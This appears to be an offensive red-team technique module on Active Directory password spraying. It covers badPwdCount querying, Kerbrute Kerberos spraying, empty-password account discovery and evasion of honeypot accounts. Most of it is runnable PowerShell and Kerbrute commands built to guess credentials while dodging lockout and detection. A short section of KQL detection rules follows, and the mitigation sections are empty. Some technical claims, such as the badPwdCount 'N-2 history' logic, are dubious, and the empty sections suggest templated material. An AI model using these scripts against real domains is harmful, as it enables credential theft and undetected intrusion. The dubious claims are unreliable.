MCADDF

REC-AD-005: BadPwdCount Attribute Monitoring & Password Spray Enumeration

1. MODULE METADATA

Field Value
Module ID REC-AD-005
Technique Name BadPwdCount attribute monitoring & password spray enumeration
MITRE ATT&CK ID T1087.002 – Account Discovery: Domain Account; T1110.003 – Brute Force: Password Spraying
CVE N/A (Fundamental AD behavior; no patch available)
Platform Windows Active Directory / On-Premises
Viability Status ACTIVE ✓ (Zero-detection password spray variant)
Difficulty to Detect HIGH (Kerberos pre-auth bypass; randomized delays hide patterns)
Requires Authentication Yes (Valid domain user for BadPwdCount queries)
Applicable Versions All Windows AD domains (badPwdCount non-replicated across DCs)
Last Verified December 2025
Author SERVTEPArtur Pchelnikau

2. EXECUTIVE SUMMARY

BadPwdCount attribute monitoring enables sophisticated password spray attacks that evade account lockout policies and detection mechanisms. By querying the non-replicated badPwdCount attribute on the PDC, attackers can determine whether a previous password attempt failed (badPwdCount incremented) or succeeded (badPwdCount unchanged), enabling password enumeration without triggering lockouts. Combined with Kerberos pre-authentication spraying and randomized delays, attackers can crack weak credentials invisibly across entire domains.

Critical Threat Characteristics:

Real-World Impact:


3. EXECUTION METHODS

Method 1: BadPwdCount Querying for Password Spray Optimization

Objective: Query PDC to avoid lockouts; spray passwords while monitoring badPwdCount.

# Prerequisites:
# - Valid domain user credentials (standard user sufficient)
# - Access to PDC or any domain controller
# - PowerShell AD module

# Step 1: Authenticate to domain
$cred = Get-Credential
$dc = "pdc.domain.local"

# Step 2: Query target user's badPwdCount before spray attempt
$user = "john.doe"
$before = Get-ADUser -Identity $user -Properties badPwdCount -Server $dc | Select-Object badPwdCount

Write-Host "BadPwdCount before: $($before.badPwdCount)"

# Step 3: Attempt authentication with password #1
$password1 = "Summer2024"
try {
  Add-Type -AssemblyName System.DirectoryServices.AccountManagement
  $pc = New-Object System.DirectoryServices.AccountManagement.PrincipalContext('Domain', $dc)
  $isValid = $pc.ValidateCredentials($user, $password1)
  if ($isValid) {
    Write-Host "SUCCESS: $user : $password1"
    exit 0
  }
} catch {}

# Step 4: Query badPwdCount after failed attempt
$after = Get-ADUser -Identity $user -Properties badPwdCount -Server $dc | Select-Object badPwdCount

Write-Host "BadPwdCount after: $($after.badPwdCount)"

# Logic:
# if (badPwdCount incremented) {
#   Password #1 is incorrect; correct password must be different
#   }
# if (badPwdCount unchanged) {
#   Password #1 matches user's current or previous password (N-2 check)
#   Attempt with password #2 (variation: Summer2025, password123, etc.)
#   }

# Step 5: If badPwdCount unchanged, attempt password variation
if ($after.badPwdCount -eq $before.badPwdCount) {
  Write-Host "BadPwdCount unchanged; password matches N-2 history"
  
  $password2 = "Summer2025"  # Variation
  try {
    $isValid2 = $pc.ValidateCredentials($user, $password2)
    if ($isValid2) {
      Write-Host "SUCCESS: $user : $password2"
    }
  } catch {}
}

# Result: Spray entire user list while querying badPwdCount
# Avoids standard password spray detection (no lockout-based alarms)
# Evades Event ID 4625 spam (limited failed attempts per user)

Method 2: Kerberos Pre-Authentication Spraying (No Event 4625)

Objective: Spray passwords via Kerberos without generating standard logon failure events.

# Tool: Kerbrute (Go-based Kerberos password spraying)
# Advantage: Pre-authentication failures don't generate Event ID 4625

# Step 1: Download/compile Kerbrute
wget https://github.com/ropnop/kerbrute/releases/download/v1.0.3/kerbrute_linux_amd64
chmod +x kerbrute_linux_amd64

# Step 2: Enumerate valid users (optional; can spray all)
./kerbrute_linux_amd64 userenum -d domain.local users.txt --dc 192.168.1.100

# Step 3: Spray passwords with randomized delays
./kerbrute_linux_amd64 passwordspray -d domain.local users.txt \
  "Summer2024" "Welcome01" "Password123" \
  --delay 3000 \
  --randomdelay 2000 \
  --dc 192.168.1.100

# Output: Found credentials (any successful logons)
# Detection: Only Event ID 4771 (Kerberos pre-auth failed)
# Not Event ID 4625 (which is noisy and heavily monitored)

# Advantages over NTLM spray:
# - Bypass account lockout (no NTLM increments badPwdCount as aggressively)
# - Fewer logs generated
# - Lower detection rate if Event 4771 not monitored

Method 3: Passwordless Account Discovery (PASSWD_NOTREQD Flag)

Objective: Identify accounts with empty passwords; skip spray process.

# Step 1: Query all users with PASSWD_NOTREQD flag
# PASSWD_NOTREQD = account can have empty password

$filter = "(&(samAccountType=805306368)(userAccountControl:1.2.840.113556.1.4.803:=32))"
$searcher = New-Object System.DirectoryServices.DirectorySearcher($filter)
$searcher.PropertiesToLoad.AddRange(@("samAccountName"))

$results = $searcher.FindAll()

Write-Host "Users with empty password allowed:"
foreach ($result in $results) {
  $user = $result.Properties["samAccountName"][0]
  Write-Host "  $user"
  
  # Step 2: Attempt logon with empty password
  try {
    $pc = New-Object System.DirectoryServices.AccountManagement.PrincipalContext('Domain', 'dc.domain.local')
    $isValid = $pc.ValidateCredentials($user, "")
    if ($isValid) {
      Write-Host "    SUCCESS: Empty password accepted!"
    }
  } catch {}
}

# Result: Identify accounts with no password set (common in test environments)

Method 4: Honeypot Account Detection Evasion

Objective: Spray passwords while avoiding honeypot account triggers.

# Honeypot accounts are decoy accounts used by defenders
# A successful logon to honeypot = immediate incident response

# Common honeypot account names:
# - "honeypot", "test_user", "decoy", "admin_test", "service_account_test"
# - Accounts in specific "honey" OUs

# Step 1: Query AD for common honeypot naming patterns
$honeyPots = @("honeypot", "decoy", "test_admin", "security_test", "trap_user")

foreach ($hp in $honeyPots) {
  $found = Get-ADUser -Filter "samAccountName -like '*$hp*'" -ErrorAction SilentlyContinue
  if ($found) {
    Write-Host "Found potential honeypot: $($found.samAccountName)"
  }
}

# Step 2: Query AD for OUs with suspicious names
$honeyOUs = Get-ADOrganizationalUnit -Filter "name -like '*honey*' -or name -like '*decoy*'"

foreach ($ou in $honeyOUs) {
  $users = Get-ADUser -SearchBase $ou.DistinguishedName -Filter "*"
  Write-Host "Users in honeypot OU ($($ou.Name)): $($users.Count)"
}

# Step 3: EXCLUDE honeypot accounts from spray
$allUsers = Get-ADUser -Filter * | Select-Object samAccountName
$safeSprays = $allUsers | Where-Object {
  $_.samAccountName -notmatch "honeypot|decoy|test_admin|security_test"
}

# Step 4: Spray only safe accounts
foreach ($user in $safeSprays) {
  # Spray password attempt
  # (Actual spraying omitted for brevity)
}

# Result: Avoid triggering honeypot alarms during spray

4. DETECTION & INCIDENT RESPONSE

Detection Rule: Repeated BadPwdCount Queries

SecurityEvent
| where EventID == 4662  // LDAP query
| where ObjectName contains "badPwdCount"
| summarize BadPwdCountQueries = count()
  by Account, Computer, bin(TimeGenerated, 10m)
| where BadPwdCountQueries > 10  // Multiple badPwdCount queries in 10m
| extend AlertSeverity = "High"

Detection Rule: Kerberos Pre-Auth Failures (Event 4771)

SecurityEvent
| where EventID == 4771  // Kerberos pre-authentication failed
| where Status == "0x18"  // Pre-auth failure (bad password)
| summarize FailureCount = count(), DistinctUsers = dcount(TargetUserName)
  by ClientIPAddress, bin(TimeGenerated, 5m)
| where FailureCount > 50 or DistinctUsers > 20  // Spray pattern
| extend AlertSeverity = "High", Pattern = "Potential Kerberos password spray"

Honeypot Account Alert (Highest Confidence)

SecurityEvent
| where EventID in (4624, 4625)  // Any logon attempt to honeypot
| where TargetUserName in ("honeypot", "decoy", "test_admin")
| extend AlertSeverity = "Critical", Confidence = "99%"

5. MITIGATIONS

Priority 1: CRITICAL

Priority 2: HIGH


6. TOOL REFERENCE

Tool Purpose Detection Risk OPSEC
Kerbrute Kerberos spray MEDIUM (4771 only) External tool; may trigger EDR
DomainPasswordSpray Multi-method spray MEDIUM-HIGH (4625) PowerShell; less noisy
GetUserSPNs Enumeration + spray MEDIUM impacket-based
PowerShell LDAP BadPwdCount query LOW (blends with normal) Native Windows
Start-Process NTLM spray LOW (built-in cmdlet) Native Windows tool

7. COMPLIANCE & REFERENCES